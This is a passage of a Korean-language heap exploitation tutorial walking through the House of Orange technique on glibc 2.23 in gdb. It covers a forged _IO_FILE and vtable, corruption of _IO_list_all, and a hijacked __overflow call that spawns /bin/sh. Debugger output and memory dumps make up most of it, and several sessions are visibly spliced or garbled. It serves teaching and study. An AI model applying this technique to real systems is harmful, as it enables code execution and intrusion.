0x00007ffff7a891f0 <+464>: mov eax,DWORD PTR [rip+0x34a562] # 0x7ffff7dd3758 <_IO_list_all_stamp>
0x00007ffff7a891f6 <+470>: mov QWORD PTR [rip+0x34a54f],0x0 # 0x7ffff7dd3750 <run_fp>
0x00007ffff7a89201 <+481>: cmp eax,r15d
0x00007ffff7a89204 <+484>: jne 0x7ffff7a890f0 <_IO_flush_all_lockp+208>
0x00007ffff7a8920a <+490>: mov rbx,QWORD PTR [rbx+0x68]
0x00007ffff7a8920e <+494>: test rbx,rbx
0x00007ffff7a89211 <+497>: jne 0x7ffff7a89100 <_IO_flush_all_lockp+224>
0x00007ffff7a89217 <+503>: test r14d,r14d
0x00007ffff7a8921a <+506>: je 0x7ffff7a8922f <_IO_flush_all_lockp+527>
0x00007ffff7a8921c <+508>: mov eax,DWORD PTR [rip+0x34a542] # 0x7ffff7dd3764 <list_all_lock+4>
0x00007ffff7a89222 <+514>: sub eax,0x1
0x00007ffff7a89225 <+517>: test eax,eax
0x00007ffff7a89227 <+519>: mov DWORD PTR [rip+0x34a537],eax # 0x7ffff7dd3764 <list_all_lock+4>
0x00007ffff7a8922d <+525>: je 0x7ffff7a89298 <_IO_flush_all_lockp+632>
0x00007ffff7a8922f <+527>: test r13d,r13d
0x00007ffff7a89232 <+530>: je 0x7ffff7a8924f <_IO_flush_all_lockp+559>
0x00007ffff7a89234 <+532>: mov rax,QWORD PTR [rip+0x34d4bd] # 0x7ffff7dd66f8 <__libc_pthread_functions+376>
0x00007ffff7a8923b <+539>: mov rdi,rsp
0x00007ffff7a8923e <+542>: xor esi,esi
0x00007ffff7a89240 <+544>: ror rax,0x11
0x00007ffff7a89244 <+548>: xor rax,QWORD PTR fs:0x30
0x00007ffff7a8924d <+557>: call rax
0x00007ffff7a8924f <+559>: add rsp,0x28
0x00007ffff7a89253 <+563>: mov eax,ebp
0x00007ffff7a89255 <+565>: pop rbx
0x00007ffff7a89256 <+566>: pop rbp
0x00007ffff7a89257 <+567>: pop r12
0x00007ffff7a89259 <+569>: pop r13
0x00007ffff7a8925b <+571>: pop r14
0x00007ffff7a8925d <+573>: pop r15
0x00007ffff7a8925f <+575>: ret
0x00007ffff7a89260 <+576>: mov rbx,QWORD PTR [rip+0x3492b9] # 0x7ffff7dd2520 <_IO_list_all>
0x00007ffff7a89267 <+583>: xor r13d,r13d
0x00007ffff7a8926a <+586>: mov r15d,DWORD PTR [rip+0x34a4e7] # 0x7ffff7dd3758 <_IO_list_all_stamp>
0x00007ffff7a89271 <+593>: test rbx,rbx
0x00007ffff7a89274 <+596>: jne 0x7ffff7a890db <_IO_flush_all_lockp+187>
0x00007ffff7a8927a <+602>: xor ebp,ebp
0x00007ffff7a8927c <+604>: jmp 0x7ffff7a8924f <_IO_flush_all_lockp+559>
0x00007ffff7a8927e <+606>: xchg ax,ax
0x00007ffff7a89280 <+608>: mov rax,QWORD PTR [rbx+0x20]
0x00007ffff7a89284 <+612>: cmp QWORD PTR [rbx+0x28],rax
0x00007ffff7a89288 <+616>: ja 0x7ffff7a89184 <_IO_flush_all_lockp+356>
0x00007ffff7a8928e <+622>: jmp 0x7ffff7a891a1 <_IO_flush_all_lockp+385>
0x00007ffff7a89293 <+627>: nop DWORD PTR [rax+rax*1+0x0]
0x00007ffff7a89298 <+632>: mov QWORD PTR [rip+0x34a4c5],0x0 # 0x7ffff7dd3768 <list_all_lock+8>
0x00007ffff7a892a3 <+643>: cmp DWORD PTR [rip+0x34d496],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x00007ffff7a892aa <+650>: je 0x7ffff7a892b7 <_IO_flush_all_lockp+663>
0x00007ffff7a892ac <+652>: lock dec DWORD PTR [rip+0x34a4ad] # 0x7ffff7dd3760 <list_all_lock>
0x00007ffff7a892b3 <+659>: jne 0x7ffff7a892bf <_IO_flush_all_lockp+671>
0x00007ffff7a892b5 <+661>: jmp 0x7ffff7a892d9 <_IO_flush_all_lockp+697>
0x00007ffff7a892b7 <+663>: dec DWORD PTR [rip+0x34a4a3] # 0x7ffff7dd3760 <list_all_lock>
0x00007ffff7a892bd <+669>: je 0x7ffff7a892d9 <_IO_flush_all_lockp+697>
0x00007ffff7a892bf <+671>: lea rdi,[rip+0x34a49a] # 0x7ffff7dd3760 <list_all_lock>
0x00007ffff7a892c6 <+678>: sub rsp,0x80
0x00007ffff7a892cd <+685>: call 0x7ffff7b220b0 <__lll_unlock_wake_private>
0x00007ffff7a892d2 <+690>: add rsp,0x80
0x00007ffff7a892d9 <+697>: jmp 0x7ffff7a8922f <_IO_flush_all_lockp+527>
0x00007ffff7a892de <+702>: xchg ax,ax
0x00007ffff7a892e0 <+704>: mov rax,QWORD PTR [rip+0x34d409] # 0x7ffff7dd66f0 <__libc_pthread_functions+368>
0x00007ffff7a892e7 <+711>: mov rdi,rsp
0x00007ffff7a892ea <+714>: xor edx,edx
0x00007ffff7a892ec <+716>: ror rax,0x11
0x00007ffff7a892f0 <+720>: xor rax,QWORD PTR fs:0x30
0x00007ffff7a892f9 <+729>: lea rsi,[rip+0xffffffffffffe630] # 0x7ffff7a87930 <flush_cleanup>
0x00007ffff7a89300 <+736>: call rax
0x00007ffff7a89302 <+738>: jmp 0x7ffff7a8905d <_IO_flush_all_lockp+61>
0x00007ffff7a89307 <+743>: xor ebp,ebp
0x00007ffff7a89309 <+745>: jmp 0x7ffff7a89222 <_IO_flush_all_lockp+514>
End of assembler dump.
gdb-peda$ b *0x00007ffff7a89106
Breakpoint 10 at 0x7ffff7a89106: file genops.c, line 775.
gdb-peda$ b *0x00007ffff7a89165
Breakpoint 11 at 0x7ffff7a89165: file genops.c, line 779.
gdb-peda$ b *0x00007ffff7a89280
Breakpoint 12 at 0x7ffff7a89280: file genops.c, line 779.
gdb-peda$ b *0x00007ffff7a8920a
Breakpoint 13 at 0x7ffff7a8920a: file genops.c, line 800.
gdb-peda$ b *0x00007ffff7a89184
Breakpoint 14 at 0x7ffff7a89184: file genops.c, line 786.
gdb-peda$ |
_IO_flush_all_lockp()은 0x7ffff7dd1b78를 run_fp에 저장하며, 해당 값은 main_arena.top의 주소입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 10, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:775
775 in genops.c
gdb-peda$ x/i $rip
=> 0x7ffff7a89106 <_IO_flush_all_lockp+230>: mov QWORD PTR [rip+0x34a643],rbx # 0x7ffff7dd3750 <run_fp>
gdb-peda$ i r rbx
rbx 0x7ffff7dd1b78 0x7ffff7dd1b78
gdb-peda$ p _IO_list_all
$36 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ |
- _IO_flush_all_lockp()는 fp가 가지고 있는 주소 값에서 0xc0를 더한 주소에서 값을 가져옵니다.
- 해당 주소는 fp->_mode를 가리키며, 해당 변수에 저장된 값은 0x7ffff7dd1c28입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 11, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:779
779 in genops.c
gdb-peda$ x/i $rip
=> 0x7ffff7a89165 <_IO_flush_all_lockp+325>: mov eax,DWORD PTR [rbx+0xc0]
gdb-peda$ i r rbx
rbx 0x7ffff7dd1b78 0x7ffff7dd1b78
gdb-peda$ x/gx 0x7ffff7dd1b78 + 0xc0
0x7ffff7dd1c38 <main_arena+280>: 0x00007ffff7dd1c28
gdb-peda$ p &(*(struct _IO_FILE *)0x7ffff7dd1b78)._mode
$37 = (int *) 0x7ffff7dd1c38 <main_arena+280>
gdb-peda$ |
다음 코드는 [rbx+0x20]와 [rbx+0x28]에 저장된 값을 비교합니다.
[rbx(0x7ffff7dd1b78)+0x20]는 fp→_IO_write_base 를 가리키며, [rbx(0x7ffff7dd1b78)+0x28]는 fp→_IO_write_ptr 를 가리킵니다.
(fp->_mode <= 0 && fp->_IO_write_ptr > fp→_IO_write_base)이 조건문은 "fp->_mode"의 값이 0보다 크기 때문에 조건을 만족시키지 못하고 거짓이 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 17, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:779
779 in genops.c
gdb-peda$ x/2i $rip
=> 0x7ffff7a89280 <_IO_flush_all_lockp+608>: mov rax,QWORD PTR [rbx+0x20]
0x7ffff7a89284 <_IO_flush_all_lockp+612>: cmp QWORD PTR [rbx+0x28],rax
gdb-peda$ i r rbx
rbx 0x7ffff7dd1b78 0x7ffff7dd1b78
gdb-peda$ p/x 0x7ffff7dd1b78 + 0x20
$55 = 0x7ffff7dd1b98
gdb-peda$ p &(*(struct _IO_FILE *)0x7ffff7dd1b78)._IO_write_base
$56 = (char **) 0x7ffff7dd1b98 <main_arena+120>
gdb-peda$ p/x 0x7ffff7dd1b78 + 0x28
$57 = 0x7ffff7dd1ba0
gdb-peda$ p &(*(struct _IO_FILE *)0x7ffff7dd1b78)._IO_write_ptr
$58 = (char **) 0x7ffff7dd1ba0 <main_arena+128>
gdb-peda$ ni |
- 다음 코드는 fp→_chain이 가지고 있는 값을 fp에 저장하며, fp→_chain가 가지고 있는 값은 0x602400입니다.
- 해당 주소는 가짜 _IO_list_all(_IO_FILE, _IO_jump_t) 입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 13, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:800
800 in genops.c
gdb-peda$ x/i $rip
=> 0x7ffff7a8920a <_IO_flush_all_lockp+490>: mov rbx,QWORD PTR [rbx+0x68]
gdb-peda$ i r rbx
rbx 0x7ffff7dd1b78 0x7ffff7dd1b78
gdb-peda$ x/gx 0x7ffff7dd1b78 + 0x68
0x7ffff7dd1be0 <main_arena+192>: 0x0000000000602400
gdb-peda$ p &(*(struct _IO_FILE*)0x7ffff7dd1b78)._chain
$42 = (struct _IO_FILE **) 0x7ffff7dd1be0 <main_arena+192>
gdb-peda$ p fp
$43 = (struct _IO_FILE *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ ni
773 in genops.c
gdb-peda$ p fp
$44 = (struct _IO_FILE *) 0x602400
gdb-peda$ |
- _IO_flush_all_lockp()은 다시 fp가 가지고 있는 값(0x602400)을 run_fp에 저장하고, 해당 값을 이용하여 fp→_mode의 값을 확인합니다.
- fp→_mode가 가지고 있는 값은 0x0입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 10, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:775
775 in genops.c
gdb-peda$ x/i $rip
=> 0x7ffff7a89106 <_IO_flush_all_lockp+230>: mov QWORD PTR [rip+0x34a643],rbx # 0x7ffff7dd3750 <run_fp>
gdb-peda$ i r rbx
rbx 0x602400 0x602400
gdb-peda$ c
Continuing.
Breakpoint 11, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:779
779 in genops.c
gdb-peda$ x/3i $rip
=> 0x7ffff7a89165 <_IO_flush_all_lockp+325>: mov eax,DWORD PTR [rbx+0xc0]
0x7ffff7a8916b <_IO_flush_all_lockp+331>: test eax,eax
0x7ffff7a8916d <_IO_flush_all_lockp+333>: jle 0x7ffff7a89280 <_IO_flush_all_lockp+608>
gdb-peda$ i r rbx
rbx 0x602400 0x602400
gdb-peda$ x/gx 0x602400 + 0xc0
0x6024c0: 0x0000000000000000
gdb-peda$ p &(*(struct _IO_FILE *)0x602400)._mode
$45 = (int *) 0x6024c0
gdb-peda$ p (*(struct _IO_FILE *)0x602400)._mode
$46 = 0x0
gdb-peda$ c
Continuing. |
- fp→_IO_write_base의 값은 0x2이며, fp->_IO_write_ptr의 값은 0x3입니다.
- fp->_mode(0x0) <= 0 && fp->_IO_write_ptr(3) > fp→_IO_write_base(2) 이 조건문은 모든 조건을 만족하기 때문에 _IO_OVERFLOW()를 호출하게 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 12, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:779
779 in genops.c
gdb-peda$ x/4i $rip
=> 0x7ffff7a89280 <_IO_flush_all_lockp+608>: mov rax,QWORD PTR [rbx+0x20]
0x7ffff7a89284 <_IO_flush_all_lockp+612>: cmp QWORD PTR [rbx+0x28],rax
0x7ffff7a89288 <_IO_flush_all_lockp+616>: ja 0x7ffff7a89184 <_IO_flush_all_lockp+356>
0x7ffff7a8928e <_IO_flush_all_lockp+622>: jmp 0x7ffff7a891a1 <_IO_flush_all_lockp+385>
gdb-peda$ i r rbx
rbx 0x602400 0x602400
gdb-peda$ x/gx 0x602400 + 0x20
0x602420: 0x0000000000000002
gdb-peda$ x/gx 0x602400 + 0x28
0x602428: 0x0000000000000003
gdb-peda$ p &(*(struct _IO_FILE *)0x602400)._IO_write_base
$47 = (char **) 0x602420
gdb-peda$ p &(*(struct _IO_FILE *)0x602400)._IO_write_ptr
$48 = (char **) 0x602428
gdb-peda$ p (*(struct _IO_FILE *)0x602400)._IO_write_base
$49 = 0x2 <error: Cannot access memory at address 0x2>
gdb-peda$ p (*(struct _IO_FILE *)0x602400)._IO_write_ptr
$50 = 0x3 <error: Cannot access memory at address 0x3>
gdb-peda$ c
Continuing |
- _IO_flush_all_lockp()는 0x602400에서 0xd8를 더한 곳에서 vtable의 주소를 가져오며, __overflow에 저장된 값은 winner함수의 주소입니다.
- 해당 함수는 첫번째 인자 값으로 0x602400를 전달하며, 해당 주소에는 문자열 "/bin/sh"가 저장되어 있습니다.
- 그리고 call 명령어를 사용하여 __overflow에 저장된 winner함수의 주소를 호출합니다.
- 이로 인해 winner()는 system()에 "/bin/sh" 를 전달하여 shell을 획득하게 됩니다.
Code Block | ||
---|---|---|
| ||
Breakpoint 15, |
- 그리고 Top chunk(0x602400)영역은 free chunk가 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040060e in main ()
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400: 0x0000000000000000 0x0000000000000c01
gdb-peda$ p main_arena.top
$1 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[0]
$2 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[1]
$3 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ ni
0x0000000000400613 in main ()
gdb-peda$ x/2gx 0x602000 + 0x400
0x602400: 0x0000000000000000 0x0000000000000be1
gdb-peda$ p main_arena.top
$4 = (mchunkptr) 0x624010
gdb-peda$ p main_arena.bins[0]
$5 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[1]
$6 = (mchunkptr) 0x602400
gdb-peda$ |
- free chunk의 공간을 이용해 Fake "struct _IO_wide_data", "struct _IO_FILE_plus"를 작성합니다.
- free chunk의 bk영역 값을 변경하여 _IO_list_all 의 값을 main_arena영역의 주소로 변경할 수 있습니다.
- _IO_list_all : 0x7ffff7dd2540 <_IO_2_1_stderr_>
- _IO_list_all : 0x7ffff7dd2540 <_IO_2_1_stderr_>
- free chunk의 size 영역의 값을 smallbin[4]에 해당 하는 크기로 변경합니다.
- smallbin[4]이 관리하는 heap의 크기 : 90 ~ 98
- free chunk의 bk영역 값을 변경하여 _IO_list_all 의 값을 main_arena영역의 주소로 변경할 수 있습니다.
_IO_FILE_plus() 를 분석하기 위해 아래와 같이 "_IO_flush_all_lockp+0"영역에 Break point를 설정합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 3, 0x00000000004006d9 in main ()
gdb-peda$ x/30gx 0x602400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
0x602420: 0x0000000000000000 0x0000000000000000
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x00000000004006e5
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
0x6024a0: 0x0000000000602490 0x0000000000000002
0x6024b0: 0x0000000000000003 0x0000000000000000
0x6024c0: 0x0000000000000001 0x0000000000000000
0x6024d0: 0x0000000000000000 0x0000000000602460
0x6024e0: 0x0000000000000000 0x0000000000000000
gdb-peda$ p _IO_list_all
$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ disassemble _IO_flush_all_lockp
Dump of assembler code for function _IO_flush_all_lockp:
0x00007ffff7a89020 <+0>: push r15
...
End of assembler dump.
gdb-peda$ b *0x00007ffff7a89020
Breakpoint 4 at 0x7ffff7a89020: file genops.c, line 760.
gdb-peda$ |
- 에러가 발생하며 _int_malloc() 함수에 의해 0x602400 영역이 smallbin[4]에 등록됩니다.
이로 인해 "fp→_chain" 영역의 값이 0x602400 으로 변경됩니다.
"fp = fp→_chain" 코드를 확인하기 위해 "*_IO_flush_all_lockp+490" 영역에 Break point를 설정합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
*** Error in `/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1': malloc(): memory corruption: 0x00007ffff7dd2520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184]
/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x4006de]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830]
/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00600000-00601000 r--p 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00601000-00602000 rw-p 00001000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1
00602000-00645000 rw-p 00000000 00:00 0 [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0
7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
Breakpoint 4, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:760
760 genops.c: No such file or directory.
gdb-peda$ p _IO_list_all
$9 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[10]
$10 = (mchunkptr) 0x602400
gdb-peda$ p main_arena.bins[11]
$11 = (mchunkptr) 0x602400
gdb-peda$ b *_IO_flush_all_lockp+490
Breakpoint 5 at 0x7ffff7a8920a: file genops.c, line 800.
gdb-peda$ |
- "fp = fp→_chain" 코드에 의해 smallbin[4](0x602400)에 저장된 값이 "fp"에 저장됩니다.
- 0x7ffff7dd1b78 + 0x68 = 0x7ffff7dd1be0→0x602400
Code Block | ||
---|---|---|
| ||
gdb-peda$ c
Continuing.
Breakpoint 5, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:800
800 in genops.c
gdb-peda$ x/i _IO_flush_all_lockp+490
=> 0x7ffff7a8920a <_IO_flush_all_lockp+490>: mov rbx,QWORD PTR [rbx+0x68]
gdb-peda$ p fp
$14 = (struct _IO_FILE *) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ i r rbx
rbx 0x7ffff7dd1b78 0x7ffff7dd1b78
gdb-peda$ ni
773 in genops.c
gdb-peda$ p fp
$15 = (struct _IO_FILE *) 0x602400
gdb-peda$ i r rbx
rbx 0x602400 0x602400
gdb-peda$ b *_IO_flush_all_lockp+356
Breakpoint 6 at 0x7ffff7a89184: file genops.c, line 786.
gdb-peda$ |
- 다음과 같이 변경된 "fp" 값에 의해 vtable의 주소가 변경되었습니다.
vtable address : 0x602400 + 0xd8 = 0x6024d8 → 0x602460
_IO_overflow_t : 0x602460 + 0x18 = 0x602478 → 0x4006e5
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 6, 0x7ffff7a89184 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786 786 in genops.c gdb-peda$ x/4i 0x7ffff7a89184$rip => 0x7ffff7a89184 <_IO_flush_all_lockp+356>: mov rax,QWORD PTR [rbx+0xd8] 0x7ffff7a8918b <_IO_flush_all_lockp+363>: mov esi,0xffffffff 0x7ffff7a89190 <_IO_flush_all_lockp+368>: mov rdi,rbx : mov rax,QWORD PTR [rbx+0xd8] 0x7ffff7a8918b <_IO_flush_all_lockp+363>: mov esi,0xffffffff 0x7ffff7a89190 <_IO_flush_all_lockp+368>: mov rdi,rbx 0x7ffff7a89193 <_IO_flush_all_lockp+371>: call QWORD PTR [rax+0x18] gdb-peda$ i r rbx rbx 0x602400 0x602400 gdb-peda$ x/gx 0x602400 + 0xd8 0x6024d8: 0x0000000000602460 gdb-peda$ p (*(struct _IO_jump_t*)0x602460).__overflow $51 = (_IO_overflow_t) 0x40078d <winner> gdb-peda$ ni 0x00007ffff7a8918b 786 in genops.c gdb-peda$ ni 0x00007ffff7a89190 786 in genops.c gdb-peda$ ni 0x00007ffff7a89193 786 in genops.c gdb-peda$ x/i $rip => 0x7ffff7a89193 <_IO_flush_all_lockp+371>: call QWORD PTR [rax+0x18] gdb-peda$ i r rbx rbx rax rdi rax 0x602460 0x602460 rdi 0x602400 0x602400 gdb-peda$ x/gx 0x602400 + 0xd8 0x6024d8: 0x0000000000602460 0x602460 + 0x18 0x602478: 0x000000000040078d gdb-peda$ x/3i 0x000000000040078d 0x40078d <winner>: push rbp 0x40078e <winner+1>: mov rbp,rsp 0x400791 <winner+4>: sub rsp,0x10 gdb-peda$ x/s 0x602400 0x602400: "/bin/sh" gdb-peda$ x/gx 0x0000000000602460 + 0x18 0x602478: 0x00000000004006e5 gdb-peda$ x/i 0x4006e5 0x4006e5 <winner>: push rbp gdb-peda$ |
- 아래와 같이 프로그램을 실행하면 "/bin/bash"가 실행되는 것을 확인 할 수있습니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ c Continuing. Breakpoint 8, 0x00007ffff7a89193 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786 786 in genops.c gdb-peda$ ni [New process 48247] process 48247 is executing new program: /bin/dash Error in re-setting breakpoint 5: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 6: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 7: No symbol table is loaded. Use the "file" command. Warning:ni [New process 57773] process 57773 is executing new program: /bin/dash Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x400693 Cannot insert breakpoint 2. Cannot access memory at address 0x40069f Cannot insert breakpoint 3. Cannot access memory at address 0x4006ab Cannot insert breakpoint 4. Cannot access memory at address 0x4006dc Cannot insert breakpoint 5. Cannot access memory at address 0x4006e2 Cannot insert breakpoint 6. Cannot access memory at address 0x400781 Cannot insert breakpoint 8. Cannot access memory at address 0x7ffff7a84510 Cannot insert breakpoint 9. Cannot access memory at address 0x7ffff7a89020 Cannot insert breakpoint 10. Cannot access memory at address 0x7ffff7a89106 Cannot insert breakpoint 111. Cannot access memory at address 0x4005e30x7ffff7a89165 Cannot insert breakpoint 215. Cannot access memory at address 0x40060e0x7ffff7a89184 Cannot insert breakpoint 313. Cannot access memory at address 0x4006d90x7ffff7a8920a Cannot insert breakpoint 412. Cannot access memory at address 0x7ffff7a890200x7ffff7a89280 Cannot insert breakpoint 87. Cannot access memory at address 0x7ffff7a891930x7ffff7a8a750 gdb-peda$ |
- 다음과 같이 에러 메시지가 출력되었지만, shell을 획득하였습니다프로그램을 실행하면 Error 가 출력되지만 Shell을 획득 할 수 있습니다.
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Documents/Definition/heap/HouseOfOrange$Book/Heap$ ./orange1 house_of_orange p1 : 0x2216010 p2 : 0x2237010 *** Error in `./orange1house_of_orange': malloc(): memory corruption: 0x00007fa48f8c85200x00007fce93f2f520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa48f57a7e50x7fce93be17e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fa48f58513e0x7fce93bec13e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa48f5871840x7fce93bee184] ./orange1[0x4006dehouse_of_orange[0x400786] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa48f5238300x7fce93b8a830] ./orange1[0x400509house_of_orange[0x400589] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 436364695734 /home/lazenca0x0/DocumentsBook/Definition/heap/HouseOfOrange/orange1Heap/house_of_orange 00600000-00601000 r--p 00000000 08:01 436364695734 /home/lazenca0x0/DocumentsBook/Definition/heap/HouseOfOrange/orange1Heap/house_of_orange 00601000-00602000 rw-p 00001000 08:01 436364695734 /home/lazenca0x0/DocumentsBook/Definition/heap/HouseOfOrange/orange1 0211d000-02160000Heap/house_of_orange 02216000-02259000 rw-p 00000000 00:00 0 [heap] 7fa4880000007fce8c000000-7fa4880210007fce8c021000 rw-p 00000000 00:00 0 7fa4880210007fce8c021000-7fa48c0000007fce90000000 ---p 00000000 00:00 0 7fa48f2ed0007fce93954000-7fa48f3030007fce9396a000 r-xp 00000000 08:01 660756920001 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f3030007fce9396a000-7fa48f5020007fce93b69000 ---p 00016000 08:01 660756920001 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f5020007fce93b69000-7fa48f5030007fce93b6a000 rw-p 00015000 08:01 660756920001 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f5030007fce93b6a000-7fa48f6c30007fce93d2a000 r-xp 00000000 08:01 655589919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f6c30007fce93d2a000-7fa48f8c30007fce93f2a000 ---p 001c0000 08:01 655589919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c30007fce93f2a000-7fa48f8c70007fce93f2e000 r--p 001c0000 08:01 655589919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c70007fce93f2e000-7fa48f8c90007fce93f30000 rw-p 001c4000 08:01 655589919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c90007fce93f30000-7fa48f8cd0007fce93f34000 rw-p 00000000 00:00 0 7fa48f8cd0007fce93f34000-7fa48f8f30007fce93f5a000 r-xp 00000000 08:01 655548919935 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48facf0007fce94140000-7fa48fad20007fce94143000 rw-p 00000000 00:00 0 7fa48faef0007fce94158000-7fa48faf20007fce94159000 rw-p 00000000 00:00 0 7fa48faf20007fce94159000-7fa48faf30007fce9415a000 r--p 00025000 08:01 655548919935 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48faf30007fce9415a000-7fa48faf40007fce9415b000 rw-p 00026000 08:01 655548919935 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48faf40007fce9415b000-7fa48faf50007fce9415c000 rw-p 00000000 00:00 0 7ffca3f1b0007ffc7a92f000-7ffca3f3c0007ffc7a950000 rw-p 00000000 00:00 0 [stack] 7ffca3fd10007ffc7a99c000-7ffca3fd30007ffc7a99f000 r--p 00000000 00:00 0 [vvar] 7ffca3fd30007ffc7a99f000-7ffca3fd50007ffc7a9a1000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ ls hell orange1 orange1.c peda-session-dash.txt peda-session-orange1.txt peda-session-test.txt test $ id 